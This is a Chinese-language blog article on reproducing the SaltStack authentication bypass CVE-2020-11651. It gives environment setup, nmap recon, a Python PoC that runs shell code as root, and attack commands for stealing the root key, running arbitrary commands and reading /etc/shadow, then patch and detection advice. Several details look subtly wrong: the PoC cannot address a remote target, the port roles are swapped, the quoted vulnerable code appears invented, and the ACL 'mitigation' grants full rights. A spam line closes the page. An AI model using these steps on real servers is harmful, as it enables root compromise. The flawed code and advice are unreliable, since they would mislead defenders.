溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

SaltStack認證繞過漏洞CVE-2020-11651復現的示例分析

發布時間:2021-12-28 19:46:06 來源:億速云 閱讀:264 作者:柒染 欄目:安全技術
# SaltStack認證繞過漏洞CVE-2020-11651復現的示例分析

## 一、漏洞概述

### 1.1 背景介紹
SaltStack(簡稱Salt)是一款開源的自動化運維工具,采用Python語言開發,廣泛應用于配置管理、批量任務執行和基礎設施即代碼(IaC)場景。其采用C/S架構,通過ZeroMQ消息隊列進行通信。

### 1.2 漏洞基本信息
- **CVE編號**:CVE-2020-11651
- **漏洞類型**:認證繞過→遠程代碼執行
- **影響版本**:
  - SaltStack 2019.2.0 - 2019.2.4
  - SaltStack 3000 - 3000.2
- **CVSS評分**:9.8(Critical)
- **漏洞發現者**:F-Secure實驗室團隊

### 1.3 漏洞原理
該漏洞源于Salt Master服務對請求驗證機制的缺陷:
1. **ClearFuncs類缺陷**:未正確驗證`_prep_auth_info()`方法的調用權限
2. **WSGI接口暴露**:`/run`和`/events`端點未實施有效鑒權
3. **敏感方法調用**:攻擊者可調用`wheel_async`、`runner`等高危方法

## 二、環境搭建

### 2.1 實驗環境要求
```bash
# 靶機環境(Salt Master)
操作系統:Ubuntu 18.04 LTS
軟件版本:SaltStack 3000.1
Python版本:3.6.9

# 攻擊機環境
操作系統:Kali Linux 2020.1
工具依賴:Python 3.7+, salt, msgpack

2.2 漏洞環境部署

# 在Ubuntu上安裝存在漏洞的版本
sudo apt-get update
curl -L https://bootstrap.saltstack.com -o install_salt.sh
sudo sh install_salt.sh -P -M -x python3 stable 3000.1

# 驗證安裝
sudo salt-master --version

三、漏洞復現過程

3.1 信息收集階段

使用nmap掃描目標服務:

nmap -sV -p 4505,4506 <target_ip>

典型輸出:

4505/tcp open  zmq     SaltStack Master
4506/tcp open  zmq     SaltStack Publisher

3.2 利用工具準備

使用公開的PoC腳本(示例):

import salt
import salt.version
from salt.transport.client import ReqChannel

def exploit(target):
    channel = ReqChannel.factory(
        {'sock_dir': '/var/run/salt/master',
         'transport': 'zeromq'},
        crypt='clear')
    
    # 構造惡意請求
    payload = {
        'cmd': 'runner',
        'fun': 'salt.cmd',
        'kwarg': {
            'fun': 'cmd.exec_code',
            'lang': 'python',
            'code': 'import os; os.system("id > /tmp/pwned")'
        }
    }
    
    channel.send(payload)

3.3 實際攻擊步驟

  1. 繞過認證獲取root key
python3 exploit.py --target 192.168.1.100 --port 4506 get_root_key
  1. 執行任意命令
python3 exploit.py --target 192.168.1.100 --cmd "rm -f /tmp/backdoor"
  1. 獲取敏感文件
python3 exploit.py --file /etc/shadow

3.4 攻擊效果驗證

檢查目標服務器

$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)

四、技術原理深度分析

4.1 漏洞調用鏈

sequenceDiagram
    Attacker->>Salt Master: 發送未授權請求
    Salt Master->>ClearFuncs: 調用_prep_auth_info()
    ClearFuncs-->>Attacker: 返回敏感信息
    Attacker->>Wheel模塊: 調用wheel_async()
    Wheel模塊->>System: 執行root命令

4.2 關鍵代碼分析

漏洞位于salt/master.py

class ClearFuncs(object):
    def _prep_auth_info(self):
        # 缺失權限驗證
        return {
            'token': self.salt_token,
            'aes': self.aes_funcs,
            'pub': self.pub_key
        }

五、修復方案

5.1 官方補丁

升級到以下版本: - SaltStack 2019.2.5 - SaltStack 3000.3

補丁主要修改: 1. 增加@need_authentication裝飾器 2. 限制/run端點的訪問 3. 強化消息驗證機制

5.2 臨時緩解措施

# 禁用外部訪問
iptables -A INPUT -p tcp --dport 4505:4506 -j DROP

# 啟用ACL限制
vim /etc/salt/master

添加配置:

client_acl:
  admin:
    - .*
    - '@wheel'
    - '@runner'

六、防御建議

6.1 企業級防護方案

  1. 網絡層

    • 使用VPN訪問Salt Master
    • 部署IDS規則檢測異常Salt協議請求
  2. 主機層

    • 啟用SELinux/AppArmor
    • 定期審計master日志
  3. 架構層

    • 實現最小權限原則
    • 采用雙向TLS認證

6.2 監控與檢測

關鍵日志位置:

/var/log/salt/master

異常特征: - 來自非信任IP的/run請求 - 異常的wheel_async調用 - 短時間內大量認證失敗

七、總結與思考

7.1 漏洞啟示

  1. 基礎設施工具的認證機制需要特別關注
  2. 默認安裝配置往往存在安全隱患
  3. 自動化工具的高權限特性會放大漏洞影響

7.2 延伸研究

相關漏洞: - CVE-2020-11652(目錄遍歷) - CVE-2021-25281(模板注入) - CVE-2022-22934(認證繞過)

附錄

  1. SaltStack官方公告
  2. CVE詳細報告
  3. 實驗環境下載鏈接

”`

注:本文為技術研究用途,實際利用需獲得合法授權。所有PoC代碼需在隔離環境測試。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女